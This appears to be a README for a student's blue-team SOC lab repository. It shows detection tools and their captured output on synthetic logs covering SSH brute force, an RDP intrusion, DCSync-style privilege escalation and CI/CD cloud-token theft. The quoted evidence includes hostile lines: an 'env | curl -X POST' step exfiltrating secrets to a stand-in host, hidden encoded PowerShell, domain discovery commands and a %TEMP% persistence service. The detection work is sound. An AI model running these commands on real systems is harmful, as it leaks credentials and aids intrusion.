Clone — nothing to install (Python 3.8+ stdlib only)
git clone https://github.com/Eswar5313/GraySentinel-DSOU-45Day-2026.git cd GraySentinel-DSOU-45Day-2026/graysentinel-day1
All data is synthetic and sanitised (RFC-5737 ranges). Safe to run anywhere.
Generate the synthetic lab log
cd project-01 && python3 data/make_lab_data.py
wrote auth.log with 135 lines
Show actual captured output
$ python3 data/make_lab_data.py wrote auth.log with 135 lines
Inspect the raw log
wc -l data/auth.log && head -5 data/auth.log
135 lines; sshd/sudo/su/useradd/usermod events from soc-lab-01
Show actual captured output
$ wc -l data/auth.log && head -5 data/auth.log 135 data/auth.log Sep 13 22:16:00 soc-lab-01 sshd[4101]: Accepted publickey for ops from 192.0.2.52 port 51295 ssh2: RSA SHA256:LabKeyops Sep 13 22:16:01 soc-lab-01 sshd[4104]: pam_unix(sshd:session): session opened for user ops by (uid=0) Sep 13 22:28:00 soc-lab-01 sshd[4105]: Accepted publickey for arjun from 192.0.2.44 port 49328 ssh2: RSA SHA256:LabKeyarjun Sep 13 22:28:01 soc-lab-01 sshd[4108]: pam_unix(sshd:session): session opened for user arjun by (uid=0) Sep 13 22:36:00 soc-lab-01 sshd[4109]: Accepted publickey for deploy from 192.0.2.24 port 43460 ssh2: RSA SHA256:LabKeydeploy
Run the investigation
python3 src/auth_investigator.py --log data/auth.log --out evidence/findings.json --md evidence/findings.md
10 findings, 2 CRITICAL (F03 success-after-failures, F10 sudo-group grant); exit code 2
Show actual captured output
$ python3 src/auth_investigator.py --log data/auth.log --out evidence/findings.json --md evidence/findings.md
Parsed 135 events from data/auth.log
Event mix: {'ssh_ok': 26, 'other': 20, 'sudo_ok': 3, 'ssh_invalid_user': 24, 'ssh_fail': 55, 'useradd': 1, 'usermod': 1, 'sudo_fail': 4, 'su_attempt': 1}
10 finding(s):
[CRITICAL] F03 Successful login after failure burst (likely compromised credential) src=203.0.113.45 n=38
[CRITICAL] F10 Account added to privileged group src=local n=1
[HIGH ] F01 SSH brute force (many failures from one source) src=203.0.113.45 n=37
[HIGH ] F09 New local account created src=local n=1
[HIGH ] F08 Privileged command fetched/staged a remote payload src=local n=1
[HIGH ] F02 Password spraying (one source, many accounts) src=198.51.100.77 n=16
[HIGH ] F06 Repeated failed sudo (local privilege-escalation probing) src=local n=4
[MEDIUM ] F04 Privileged account login outside business hours src=203.0.113.45 n=1
[MEDIUM ] F05 Username enumeration / invalid-user probing src=198.51.100.77 n=16
[MEDIUM ] F07 su to root attempted src=local n=1
JSON -> evidence/findings.json
MD -> evidence/findings.md
exit code: 2 (2 = CRITICAL finding present)Run the 13 unit tests
python3 -m unittest -v tests.test_auth_investigator
Ran 13 tests … OK
Show actual captured output
$ python3 -m unittest -v tests.test_auth_investigator test_account_manipulation (tests.test_auth_investigator.DetectionTests.test_account_manipulation) ... ok test_brute_force_fires_at_threshold (tests.test_auth_investigator.DetectionTests.test_brute_force_fires_at_threshold) ... ok test_findings_sorted_by_severity (tests.test_auth_investigator.DetectionTests.test_findings_sorted_by_severity) ... ok test_off_hours_root_login (tests.test_auth_investigator.DetectionTests.test_off_hours_root_login) ... ok test_password_spray (tests.test_auth_investigator.DetectionTests.test_password_spray) ... ok test_success_after_burst_is_critical (tests.test_auth_investigator.DetectionTests.test_success_after_burst_is_critical) ... ok test_success_outside_window_not_linked (tests.test_auth_investigator.DetectionTests.test_success_outside_window_not_linked) ... ok test_sudo_failures_and_su (tests.test_auth_investigator.DetectionTests.test_sudo_failures_and_su) ... ok test_two_typos_are_not_an_incident (tests.test_auth_investigator.DetectionTests.test_two_typos_are_not_an_incident) ... ok test_empty_file (tests.test_auth_investigator.ParseTests.test_empty_file) ... ok test_garbage_lines_are_skipped_not_fatal (tests.test_auth_investigator.ParseTests.test_garbage_lines_are_skipped_not_fatal) ... [warn] 2 line(s) did not match the syslog auth format and were skipped ok test_invalid_user_flag (tests.test_auth_investigator.ParseTests.test_invalid_user_flag) ... ok test_parses_failed_and_accepted (tests.test_auth_investigator.ParseTests.test_parses_failed_and_accepted) ... ok ---------------------------------------------------------------------- Ran 13 tests in 0.011s OK
Edge cases: tuned thresholds + garbage input
python3 src/auth_investigator.py --log data/auth.log --bf-threshold 50 --spray-users 20 --quiet printf 'garbage line\n' > /tmp/bad.log && python3 src/auth_investigator.py --log /tmp/bad.log
CRITICAL still fires (exit 2); garbage input warned + skipped (exit 0), no crash
Show actual captured output
$ python3 src/auth_investigator.py --log data/auth.log --bf-threshold 50 --spray-users 20 --quiet; echo exit=$?
exit=2 (tuned thresholds: brute-force/spray suppressed, CRITICAL still fires)
$ printf "garbage line
" > /tmp/bad.log && python3 src/auth_investigator.py --log /tmp/bad.log
[warn] 1 line(s) did not match the syslog auth format and were skipped
Parsed 0 events from /tmp/bad.log
Event mix: {}
0 finding(s):
exit=0 (edge case: garbage input handled, no crash)Generate the incident ticket from Project 01 findings
cd ../project-02 && python3 src/incident_summary.py --findings data/findings.json --md evidence/incident_summary.md --html evidence/incident_summary.html --json evidence/incident_summary.json
GS-INC-…-701 · CRITICAL / P1 · risk 100/100 · 23 IOCs · 9 ATT&CK techniques · 'Chain: …' narrative
Show actual captured output
$ python3 src/incident_summary.py --findings data/findings.json --md evidence/incident_summary.md --html evidence/incident_summary.html --json evidence/incident_summary.json
Incident GS-INC-20260915-805 severity=CRITICAL priority=P1 risk=100/100
Findings: {'CRITICAL': 2, 'HIGH': 5, 'MEDIUM': 3} IOCs: 23 ATT&CK: 9 techniques
Executive summary:
- 10 security findings were raised on the monitored host between 00:05 and 09:30 on 2026-09-14.
- Overall severity is CRITICAL (priority P1); risk score 100/100; confidence: HIGH.
- The highest-impact finding is: Successful login after failure burst (likely compromised credential) (203.0.113.45).
Narrative:
* Chain: credential guessing → successful root login → new account + sudo grant (persistence). This is a confirmed intrusion, not a scan.
* From 203.0.113.45: the attacker at 203.0.113.45 — 00:05 — successful login after failure burst (likely compromised credential) (admin, root); then 00:05 — ssh brute force (many failures from one source) (admin, root); then 00:06 — privileged account login outside business hours (root).
* From local: an actor already on the host — 00:08 — new local account created (svc_backup); then 00:09 — account added to privileged group (svc_backup); then 00:09 — privileged command fetched/staged a remote payload (root); then 09:00 — repeated failed sudo (local privilege-escalation probing) (arjun); then 09:30 — su to root attempted (arjun).
* From 198.51.100.77: the attacker at 198.51.100.77 — 01:40 — password spraying (one source, many accounts) (alice, bob, carol); then 01:40 — username enumeration / invalid-user probing (alice, bob, carol).
MD -> evidence/incident_summary.md
HTML -> evidence/incident_summary.html
JSON -> evidence/incident_summary.jsonGeneric CSV input works too
python3 src/incident_summary.py --csv data/alerts_sample.csv --md evidence/incident_summary_from_csv.md
HIGH / P2 from 3 alerts; no 'Chain:' line
Show actual captured output
$ python3 src/incident_summary.py --csv data/alerts_sample.csv --md evidence/incident_summary_from_csv.md
Incident GS-INC-20260915-977 severity=HIGH priority=P2 risk=55/100
Findings: {'HIGH': 1, 'MEDIUM': 1, 'LOW': 1} IOCs: 4 ATT&CK: 3 techniques
Executive summary:
- 3 security findings were raised on the monitored host between 02:09 and 03:02 on 2026-09-14.
- Overall severity is HIGH (priority P2); risk score 55/100; confidence: MEDIUM.
- The highest-impact finding is: SSH brute force (many failures from one source) (203.0.113.200).
Narrative:
* From 203.0.113.200: the attacker at 203.0.113.200 — 02:09 — username enumeration / invalid-user probing (test, guest, oracle); then 02:10 — ssh brute force (many failures from one source) (root, admin).
* From 192.0.2.30: the attacker at 192.0.2.30 — 03:02 — privileged account login outside business hours (root).
MD -> evidence/incident_summary_from_csv.mdRun the 12 unit tests
python3 -m unittest -v tests.test_incident_summary
Ran 12 tests … OK
Show actual captured output
$ python3 -m unittest -v tests.test_incident_summary test_attack_chain_is_named_when_bf_then_success (tests.test_incident_summary.CorrelationAndIOCs.test_attack_chain_is_named_when_bf_then_success) ... ok test_iocs_dedupe_ips_and_flag_commands (tests.test_incident_summary.CorrelationAndIOCs.test_iocs_dedupe_ips_and_flag_commands) ... ok test_playbook_lookup (tests.test_incident_summary.CorrelationAndIOCs.test_playbook_lookup) ... ok test_cli_writes_files (tests.test_incident_summary.EndToEnd.test_cli_writes_files) ... /home/claude/gs/graysentinel-day1/project-02/tests/../src/incident_summary.py:271: ResourceWarning: unclosed file <_io.TextIOWrapper name='/tmp/tmp8897ufrl/o.md' mode='w' encoding='utf-8'> open(a.md, "w").write(to_markdown(inc)) ResourceWarning: Enable tracemalloc to get the object allocation traceback /home/claude/gs/graysentinel-day1/project-02/tests/../src/incident_summary.py:275: ResourceWarning: unclosed file <_io.TextIOWrapper name='/tmp/tmp8897ufrl/o.json' mode='w' encoding='utf-8'> json.dump(inc, open(a.json, "w"), indent=2, default=str) ResourceWarning: Enable tracemalloc to get the object allocation traceback /home/claude/gs/graysentinel-day1/project-02/tests/test_incident_summary.py:99: ResourceWarning: unclosed file <_io.TextIOWrapper name='/tmp/tmp8897ufrl/o.json' mode='r' encoding='utf-8'> self.assertEqual(json.load(open(js))["severity"], "CRITICAL") ResourceWarning: Enable tracemalloc to get the object allocation traceback ok test_csv_input (tests.test_incident_summary.EndToEnd.test_csv_input) ... ok test_empty_findings_do_not_crash (tests.test_incident_summary.EndToEnd.test_empty_findings_do_not_crash) ... ok test_json_input_full_build (tests.test_incident_summary.EndToEnd.test_json_input_full_build) ... ok test_renderers_produce_all_sections (tests.test_incident_summary.EndToEnd.test_renderers_produce_all_sections) ... ok test_confidence_levels (tests.test_incident_summary.SeverityLogic.test_confidence_levels) ... ok test_overall_severity_is_worst_finding (tests.test_incident_summary.SeverityLogic.test_overall_severity_is_worst_finding) ... ok test_priority_mapping (tests.test_incident_summary.SeverityLogic.test_priority_mapping) ... ok test_risk_score_bounds_and_monotonic (tests.test_incident_summary.SeverityLogic.test_risk_score_bounds_and_monotonic) ... ok ---------------------------------------------------------------------- Ran 12 tests in 0.009s OK
Read the ticket
head -20 evidence/incident_summary.md (or open evidence/incident_summary.html)
Priority P1, SLA 15 min, notify SOC Lead + IR Manager + system owner
Show actual captured output
$ head -20 evidence/incident_summary.md # SOC Incident Summary — GS-INC-20260915-805 | Field | Value | |---|---| | **Severity / Priority** | **CRITICAL / P1** | | Risk score | 100 / 100 | | Confidence | HIGH — multiple independent findings corroborate a single attack chain | | Response SLA | 15 min | | Notify | SOC Lead + IR Manager + system owner; page on-call | | Activity window | 2026-09-14 00:05:01 → 2026-09-14 09:30:00 | | Events analysed | 135 | | Findings | CRITICAL: 2, HIGH: 5, MEDIUM: 3 | | Analyst | Eswar Mahalingam (Blue Team, GS-STU-DSOU-2026-039A) | | Generated | 2026-09-15 01:26:43 | | Source | `data/findings.json` | ## 1. Executive summary - 10 security findings were raised on the monitored host between 00:05 and 09:30 on 2026-09-14. - Overall severity is CRITICAL (priority P1); risk score 100/100; confidence: HIGH.
Project 01 — findings.md (generated by the tool)
Project 02 — incident_summary.md (generated by the tool)
Screenshots (rendered from the captured runs)
Project 01


Project 02




🔥 SOC War Room · 05 Oct 2026 — The Silent RDP Login (HR-WS-017)
Verdict: H1 COMPROMISED · H2 REJECTED · H3 CONFIRMED → P1 contain · 18/18 tests pass · all data synthetic (RFC-5737)
-Enc PowerShell → whoami / nltest / Domain Admins → LDAP DC-01 → Type 3 + SMB on FS-HR-01 → 3 payroll files → POST to first-seen 198.51.100.23:443Run it
cd rdp-silent-login python3 make_rdp_lab_data.py python3 rdp_chain_hunter.py rdp_events_SYNTHETIC.csv auth_context_SYNTHETIC.json --json hunt_results.json python3 -m unittest test_rdp_chain_hunter -v
Captured hunter output
==============================================================================
GraySentinel DSOU · RDP chain hunt · 6 RDP session(s) reviewed
==============================================================================
[CRITICAL] ananya.rao → HR-WS-017 from 203.0.113.45 (DESKTOP-9KX2TQ) at 2026-10-04T21:53:02Z detection_fired=True
-- Mission 01 triage --
failed_attempts 23
normally_uses_rdp False
rdp_baseline_30d 0
mfa_on_rdp False
privileges ['SeDebugPrivilege', 'SeBackupPrivilege', 'SeTakeOwnershipPrivilege', 'SeImpersonatePrivilege']
first_process rdpclip.exe
powershell_cmdline powershell.exe -NoP -NonI -W Hidden -Enc JABzAD0AJwBcAFwARgBTAC0ASABSAC0AMAAxAFwASABSACQAJwA...
pwd_last_set 2026-06-11T05:02:00Z
idp_hits_same_ip 2
same_ip_other_hosts {'HR-WS-021': {'fail': 6, 'success': 0}, 'FIN-WS-004': {'fail': 4, 'success': 0}}
exposure NAT-LEGACY-HR-3389 203.0.113.200:3389 → 10.20.40.17:3389 (temporary vendor access, never removed)
-- Mission 02 hypotheses --
H1 COMPROMISED 23 failed RDP attempts from same source before success | external source 203.0.113.45 (DESKTOP-9KX2TQ) | no Type-10 logon by this user in 30-day baseline | account not authorised for RDP | same IP already had the correct password in IdP (2 MFA-denied sign-ins) | user had no VPN session at login time
H2 REJECTED none of the admin indicators present
H3 CONFIRMED obfuscated/hidden PowerShell: -enc, -noni, -nop, -w hidden | 3 discovery commands | internal connections: 10.20.0.10:389, 10.20.30.15:445 | onward auth: FS-HR-01 (Type 3) | 3 sensitive file accesses | external egress: 198.51.100.23:443
-- Mission 03 timeline --
2026-10-04 21:47:10Z 4625 failed RDP administrator from 203.0.113.45
2026-10-04 21:52:18Z 4625 …23 failures total (last)
2026-10-04 21:53:02Z 4624/10 RDP success ananya.rao from 203.0.113.45 (DESKTOP-9KX2TQ)
2026-10-04 21:53:02Z 4672 privileges: SeDebugPrivilege;SeBackupPrivilege;SeTakeOwnershipPrivilege;SeImpersonatePrivilege
2026-10-04 21:53:11Z 4688 svchost.exe → rdpclip.exe: rdpclip
2026-10-04 21:54:31Z 4688 explorer.exe → cmd.exe: cmd.exe
2026-10-04 21:54:40Z 4688 cmd.exe → powershell.exe: powershell.exe -NoP -NonI -W Hidden -Enc JABzAD0AJwBcAFwARgBTAC0ASABSA
2026-10-04 21:54:40Z 1 cmd.exe → powershell.exe: powershell.exe -NoP -NonI -W Hidden -Enc JABzAD0AJwBcAFwARgBTAC0ASABSA
2026-10-04 21:54:41Z 4104 script block: whoami /all; nltest /dclist:corp.example.com; net group "Domain Admins…
2026-10-04 21:54:45Z 1 powershell.exe → whoami.exe: whoami /all
2026-10-04 21:54:49Z 1 powershell.exe → nltest.exe: nltest /dclist:corp.example.com
2026-10-04 21:54:53Z 1 powershell.exe → net.exe: net group "Domain Admins" /domain
2026-10-04 21:55:11Z Sysmon3 powershell.exe → 10.20.0.10:389 DC-01 LDAP
2026-10-04 21:55:36Z Sysmon3 powershell.exe → 10.20.30.15:445 FS-HR-01 SMB
2026-10-04 21:55:41Z 4624/3 ananya.rao onward logon on FS-HR-01 from 10.20.40.17
2026-10-04 21:55:43Z 5140 FS-HR-01: Share=\\*\HR$
2026-10-04 21:55:45Z 5145 FS-HR-01: HR$\Payroll\Payroll_Q3_2026.xlsx;Access=ReadData
2026-10-04 21:55:46Z 5145 FS-HR-01: HR$\Payroll\Salary_Revision_FY27.xlsx;Access=ReadData
2026-10-04 21:55:47Z 5145 FS-HR-01: HR$\Payroll\Bank_Mandates_HR.xlsx;Access=ReadData
2026-10-04 21:56:01Z Sysmon3 powershell.exe → 198.51.100.23:443 cdn-sync.example.net (first seen)
-- Mission 05 lateral movement --
SMB→ ['10.20.30.15'] DC→ ['10.20.0.10'] onward logons→ ['FS-HR-01']
sensitive files: 3 same IP elsewhere: {'HR-WS-021': {'fail': 6, 'success': 0}, 'FIN-WS-004': {'fail': 4, 'success': 0}}
[INFO ] it.helpdesk → HR-WS-009 from 10.20.5.25 (JUMP-IT-01) at 2026-09-05T06:00:00Z detection_fired=False
H2 legitimate admin access: approved admin source; change ticket CHG-4471; user is RDP-authorised
[INFO ] it.helpdesk → HR-WS-009 from 10.20.5.25 (JUMP-IT-01) at 2026-09-11T06:17:00Z detection_fired=False
H2 legitimate admin access: approved admin source; change ticket CHG-4471; user is RDP-authorised; behaviour matches baseline
[INFO ] it.helpdesk → HR-WS-009 from 10.20.5.25 (JUMP-IT-01) at 2026-09-17T06:09:00Z detection_fired=False
H2 legitimate admin access: approved admin source; change ticket CHG-4471; user is RDP-authorised; behaviour matches baseline
[INFO ] it.helpdesk → HR-WS-009 from 10.20.5.25 (JUMP-IT-01) at 2026-09-23T06:01:00Z detection_fired=False
H2 legitimate admin access: approved admin source; change ticket CHG-4471; user is RDP-authorised; behaviour matches baseline
[INFO ] it.helpdesk → HR-WS-009 from 10.20.5.25 (JUMP-IT-01) at 2026-09-29T06:18:00Z detection_fired=False
H2 legitimate admin access: approved admin source; change ticket CHG-4471; user is RDP-authorised; behaviour matches baseline
Captured test run (18/18)
test_14_rfc5737_treated_as_external (test_rdp_chain_hunter.TestDetectionAndLateral.test_14_rfc5737_treated_as_external) ... ok test_15_timeline_is_ordered (test_rdp_chain_hunter.TestDetectionAndLateral.test_15_timeline_is_ordered) ... ok test_16_powershell_outside_window_does_not_fire (test_rdp_chain_hunter.TestDetectionAndLateral.test_16_powershell_outside_window_does_not_fire) ... ok test_08_h1_compromised (test_rdp_chain_hunter.TestHypotheses.test_08_h1_compromised) ... ok test_09_h2_rejected_for_attack (test_rdp_chain_hunter.TestHypotheses.test_09_h2_rejected_for_attack) ... ok test_10_h3_confirmed (test_rdp_chain_hunter.TestHypotheses.test_10_h3_confirmed) ... ok test_11_helpdesk_is_legitimate_admin (test_rdp_chain_hunter.TestHypotheses.test_11_helpdesk_is_legitimate_admin) ... ok test_17_garbage_rows_skipped (test_rdp_chain_hunter.TestRobustness.test_17_garbage_rows_skipped) ... ok test_18_cli_exit_codes (test_rdp_chain_hunter.TestRobustness.test_18_cli_exit_codes) ... error: [Errno 2] No such file or directory: '/tmp/tmpapa2plh5/missing.csv' ok test_01_attack_session_found (test_rdp_chain_hunter.TestTriage.test_01_attack_session_found) ... ok test_02_failed_attempts_counted (test_rdp_chain_hunter.TestTriage.test_02_failed_attempts_counted) ... ok test_03_success_timestamp_and_type (test_rdp_chain_hunter.TestTriage.test_03_success_timestamp_and_type) ... ok test_04_baseline_says_user_never_rdps (test_rdp_chain_hunter.TestTriage.test_04_baseline_says_user_never_rdps) ... ok test_05_privileges_and_powershell (test_rdp_chain_hunter.TestTriage.test_05_privileges_and_powershell) ... ok test_06_same_ip_other_endpoints (test_rdp_chain_hunter.TestTriage.test_06_same_ip_other_endpoints) ... ok test_07_internet_exposure_found (test_rdp_chain_hunter.TestTriage.test_07_internet_exposure_found) ... ok ---------------------------------------------------------------------- Ran 18 tests in 0.018s OK
Files
🟢 SOC War Room · Ghost Admin (DC-02) · 06 Oct 2026
Verdict: H1 COMPROMISED · H2 CONFIRMED · H3 CONFIRMED · 18/18 tests · synthetic data
Run it
cd ghost-admin python3 make_ghostadmin_lab_data.py python3 ghost_admin_hunter.py ghostadmin_events_SYNTHETIC.csv ghostadmin_context_SYNTHETIC.json python3 -m unittest test_ghost_admin_hunter -v
Captured analyzer output
============================================================================== GraySentinel DSOU · Ghost Admin hunt · 1 identity case(s) ============================================================================== [CRITICAL] s.menon on DC-02 from 10.20.44.204 (WKS-FIN-204) detection_fired=True -- Mission 01 identity -- normally_privileged False tier 2 logon_type 3 auth_pkg NTLM failed_attempts 12 tier0_baseline_30d 0 privileged_group_adds ['Administrators', 'Domain Admins'] mfa none (on-prem account) change_ticket None -- Mission 02 hypotheses -- H1 COMPROMISED 12 failed logons from same source before success | source 10.20.44.204 (WKS-FIN-204) not an approved admin host | no Tier-0 logon by this user in 30-day baseline | NTLM to a DC (no Kerberos PAC) — credential-relay/theft pattern | account is not normally privileged H2 CONFIRMED added to Administrators, Domain Admins | special privileges: SeBackupPrivilege, SeDebugPrivilege, SeEnableDelegationPrivilege | admin activity right after the privilege change H3 CONFIRMED onward logons: DC-01, FS-CORP-01 | 1 remote share/file access events | directory replication read (DCSync-style) | Kerberos TGT with RC4 downgrade -- Mission 04 persistence -- priv-group adds: ['s.menon→Domain Admins', 's.menon→Administrators'] DCSync: True new services: ['Service=WinSysMon2;ImagePath=%TEMP%\\wsm2.exe;Start=auto'] -- lateral movement -- onward: ['DC-01', 'FS-CORP-01'] shares: 1 kerberos: ['TGT requested; ticket encryption RC4 (downgrade)'] -- Mission (timeline) -- 2026-10-05 21:10:00Z 4625 first of 12 failed logons from 10.20.44.204 2026-10-05 21:15:00Z 4624/3 logon s.menon on DC-02 from 10.20.44.204 (AuthPkg=NTLM;no Kerberos PAC) 2026-10-05 21:15:03Z 4672 privileges: SeDebugPrivilege;SeEnableDelegationPrivilege;SeBackupPrivilege 2026-10-05 21:15:40Z 4728 s.menon added to Domain Admins 2026-10-05 21:15:41Z 4732 s.menon added to Administrators 2026-10-05 21:16:35Z 4688 wsmprovhost.exe → powershell: powershell.exe -NoP -Enc <b64> 2026-10-05 21:16:35Z 1 wsmprovhost.exe → powershell: powershell.exe -NoP -Enc <b64> 2026-10-05 21:16:37Z 4104 script block: Get-ADUser -Filter * -Properties memberOf; Get-ADGroupMember 'Domain A 2026-10-05 21:16:39Z 4662 14 directory-access events incl. replication read 2026-10-05 21:17:05Z 7045 new service: Service=WinSysMon2;ImagePath=%TEMP%\wsm2.exe;Start=auto 2026-10-05 21:17:35Z 4624/3 onward logon s.menon on DC-01 from 10.20.0.12 2026-10-05 21:17:40Z 4624/3 onward logon s.menon on FS-CORP-01 from 10.20.0.12 2026-10-05 21:17:42Z 5140 FS-CORP-01: Share=\\*\SYSVOL 2026-10-05 21:17:47Z 4768 TGT requested; ticket encryption RC4 (downgrade)
Captured test run
test_08_h1_compromised (test_ghost_admin_hunter.TestHypotheses.test_08_h1_compromised) ... ok test_09_h2_privilege_escalation_confirmed (test_ghost_admin_hunter.TestHypotheses.test_09_h2_privilege_escalation_confirmed) ... ok test_10_h3_lateral_confirmed (test_ghost_admin_hunter.TestHypotheses.test_10_h3_lateral_confirmed) ... ok test_01_one_case_the_attacker (test_ghost_admin_hunter.TestIdentity.test_01_one_case_the_attacker) ... ok test_02_target_is_dc (test_ghost_admin_hunter.TestIdentity.test_02_target_is_dc) ... ok test_03_logon_type_and_ntlm (test_ghost_admin_hunter.TestIdentity.test_03_logon_type_and_ntlm) ... ok test_04_user_not_normally_privileged (test_ghost_admin_hunter.TestIdentity.test_04_user_not_normally_privileged) ... ok test_05_failed_attempts_counted (test_ghost_admin_hunter.TestIdentity.test_05_failed_attempts_counted) ... ok test_06_priv_group_adds (test_ghost_admin_hunter.TestIdentity.test_06_priv_group_adds) ... ok test_07_no_change_ticket (test_ghost_admin_hunter.TestIdentity.test_07_no_change_ticket) ... ok test_17_garbage_rows_skipped (test_ghost_admin_hunter.TestRobustness.test_17_garbage_rows_skipped) ... ok test_18_cli_exit_codes (test_ghost_admin_hunter.TestRobustness.test_18_cli_exit_codes) ... error: [Errno 2] No such file or directory: '/tmp/tmpggam3gyl/nope.csv' ok ---------------------------------------------------------------------- Ran 18 tests in 0.012s OK
Files
🟡 Intel War Room · Cloud Token Blackout · 06 Oct 2026
Classification: CI/CD credential theft → cloud takeover · 16/16 tests · synthetic data
Run it
cd cloud-token-blackout python3 make_cloud_lab_data.py python3 ci_cloud_token_hunter.py cloudtrail_SYNTHETIC.csv gh_audit_SYNTHETIC.csv python3 -m unittest test_ci_cloud_token_hunter -v
Captured analyzer output
============================================================================== GraySentinel RIU · Cloud Token Blackout — CI/CD credential-abuse intel ============================================================================== Classification: Supply-chain abuse + cloud takeover Kill-chain stages observed: collection -> credential access -> credential access / cloud auth -> exfiltration / persistence -> initial access -> persistence -> privilege escalation -> runner compromise CLOUD FINDINGS: [IoC ] credential access / cloud auth 2026-10-06T01:20:00Z GetCallerIdentity 203.0.113.77 — IAM user key AKIAEXAMPLE7RUNNER01 from 203.0.113.77 (hosting ASN), non-CI user-agent, no MFA [IoC ] privilege escalation 2026-10-06T01:22:00Z CreateAccessKey 203.0.113.77 — CreateAccessKey on user/runner-deploy [IoC ] privilege escalation 2026-10-06T01:23:00Z AttachUserPolicy 203.0.113.77 — AttachUserPolicy on user/runner-deploy [IoC ] collection 2026-10-06T01:26:00Z GetObject 203.0.113.77 — GetObject arn:aws:s3:::example-prod-pii [IoC ] collection 2026-10-06T01:26:20Z GetObject 203.0.113.77 — GetObject arn:aws:s3:::example-db-backups [IoC ] credential access 2026-10-06T01:27:00Z GetSecretValue 203.0.113.77 — GetSecretValue prod/db/master [IoC ] exfiltration / persistence 2026-10-06T01:29:00Z PutBucketPolicy 203.0.113.77 — PutBucketPolicy arn:aws:s3:::example-prod-pii — policy allows Principal:* GetObject [REVIEW] persistence 2026-10-06T01:30:00Z CreateUser 203.0.113.77 — CreateUser AccessDenied CI/CD (GitHub) FINDINGS: [IoC ] runner compromise 2026-10-06T01:05:00Z ex.contractor 203.0.113.77 — added step: env | curl -X POST cdn-sync.example.net [IoC ] initial access 2026-10-06T01:05:00Z ex.contractor 203.0.113.77 — terminated identity still referenced in automation [IoC ] initial access 2026-10-06T01:08:00Z ex.contractor 203.0.113.77 — terminated identity still referenced in automation [IoC ] initial access 2026-10-06T01:11:00Z ex.contractor 203.0.113.77 — terminated identity still referenced in automation [IoC ] credential access 2026-10-06T01:11:00Z ex.contractor 203.0.113.77 — AWS_* env exposed to step IoC SUMMARY: principals runner-deploy access_keys AKIAEXAMPLE7RUNNER01 source_ips 203.0.113.77 buckets arn:aws:s3:::example-db-backups, arn:aws:s3:::example-prod-pii new_keys new key AKIAEXAMPLEN3WKEY99 created public_buckets arn:aws:s3:::example-prod-pii
Captured test run
ok test_16_kill_chain_covers_full_path (test_ci_cloud_token_hunter.TestBaselineAndRobustness.test_16_kill_chain_covers_full_path) ... ok test_01_classification_is_supply_chain (test_ci_cloud_token_hunter.TestCloud.test_01_classification_is_supply_chain) ... ok test_02_long_key_abuse_flagged_once (test_ci_cloud_token_hunter.TestCloud.test_02_long_key_abuse_flagged_once) ... ok test_03_privilege_escalation_detected (test_ci_cloud_token_hunter.TestCloud.test_03_privilege_escalation_detected) ... ok test_04_secret_retrieval_detected (test_ci_cloud_token_hunter.TestCloud.test_04_secret_retrieval_detected) ... ok test_05_unusual_bucket_access (test_ci_cloud_token_hunter.TestCloud.test_05_unusual_bucket_access) ... ok test_06_public_bucket_exfil (test_ci_cloud_token_hunter.TestCloud.test_06_public_bucket_exfil) ... ok test_07_blocked_backdoor_is_review_not_ioc (test_ci_cloud_token_hunter.TestCloud.test_07_blocked_backdoor_is_review_not_ioc) ... ok test_08_ioc_summary_has_key_and_ip (test_ci_cloud_token_hunter.TestCloud.test_08_ioc_summary_has_key_and_ip) ... ok test_09_workflow_tamper_detected (test_ci_cloud_token_hunter.TestGitHub.test_09_workflow_tamper_detected) ... ok test_10_stale_identity_detected (test_ci_cloud_token_hunter.TestGitHub.test_10_stale_identity_detected) ... ok test_11_ci_secret_exposed (test_ci_cloud_token_hunter.TestGitHub.test_11_ci_secret_exposed) ... ok ---------------------------------------------------------------------- Ran 16 tests in 0.020s OK
Files
🔴 Red-Team War Room · Broken Pipeline (LAB ONLY) · 06 Oct 2026
Detection-and-analysis only — no exploit code · full chain detected · 16/16 tests · synthetic audit data
Run it
cd broken-pipeline python3 make_pipeline_lab_data.py python3 pipeline_chain_analyzer.py pipeline_audit_SYNTHETIC.csv pipeline_context_SYNTHETIC.json python3 -m unittest test_pipeline_chain_analyzer -v
Captured analyzer output
============================================================================== GraySentinel SSOU · Broken Pipeline — CI/CD → K8s supply-chain (blue-team view) ============================================================================== Full chain observed: True Kill-chain stages: developer identity -> CI/CD abuse -> malicious image / registry -> kubernetes -> cloud access DFIR sources with evidence: cloud, gitlab, k8s, registry FINDINGS: [IoC ] developer identity 2026-10-05T21:20:00Z stale/terminated identity active — ex.developer (terminated 2026-09-20) still runs pipelines [IoC ] developer identity 2026-10-05T21:22:00Z stale/terminated identity active — ex.developer (terminated 2026-09-20) still runs pipelines [IoC ] CI/CD abuse 2026-10-05T21:22:00Z off-hours pipeline run — run outside release window [IoC ] malicious image / registry 2026-10-05T21:26:00Z unexpected image digest — digest sha256:beef9999untrusted != trusted sha256:aaaa1111trusted [IoC ] malicious image / registry 2026-10-05T21:26:00Z unsigned / no provenance — tag :latest reused; NO cosign signature; NO provenance attestation [IoC ] kubernetes 2026-10-05T21:30:00Z deploy of non-trusted digest — deployment pulled a digest that differs from the signed baseline [IoC ] kubernetes 2026-10-05T21:32:00Z excessive RBAC used — payments:deployer: create secrets — SA has cluster-admin via rolebinding (excessive RBAC) [IoC ] kubernetes 2026-10-05T21:33:00Z excessive RBAC used — payments:deployer: list secrets/* — enumerated secrets cluster-wide [IoC ] kubernetes 2026-10-05T21:34:00Z workload created in kube-system — pod requests hostPath mount + SA token (persistence vector) [IoC ] cloud access 2026-10-05T21:38:00Z workload identity reached cloud — sts.AssumeRole role/payments-deploy from 203.0.113.90 — workload identity used from pod to reach cloud; first-seen external egress [IoC ] cloud access 2026-10-05T21:40:00Z workload identity reached cloud — secretsmanager.GetSecretValue prod/payments/db from 203.0.113.90 — cloud secret read [REVIEW] defense evasion 2026-10-05T21:50:00Z image deleted (audit trail remains) — image removed, but digest persists in k8s + audit logs
Captured test run
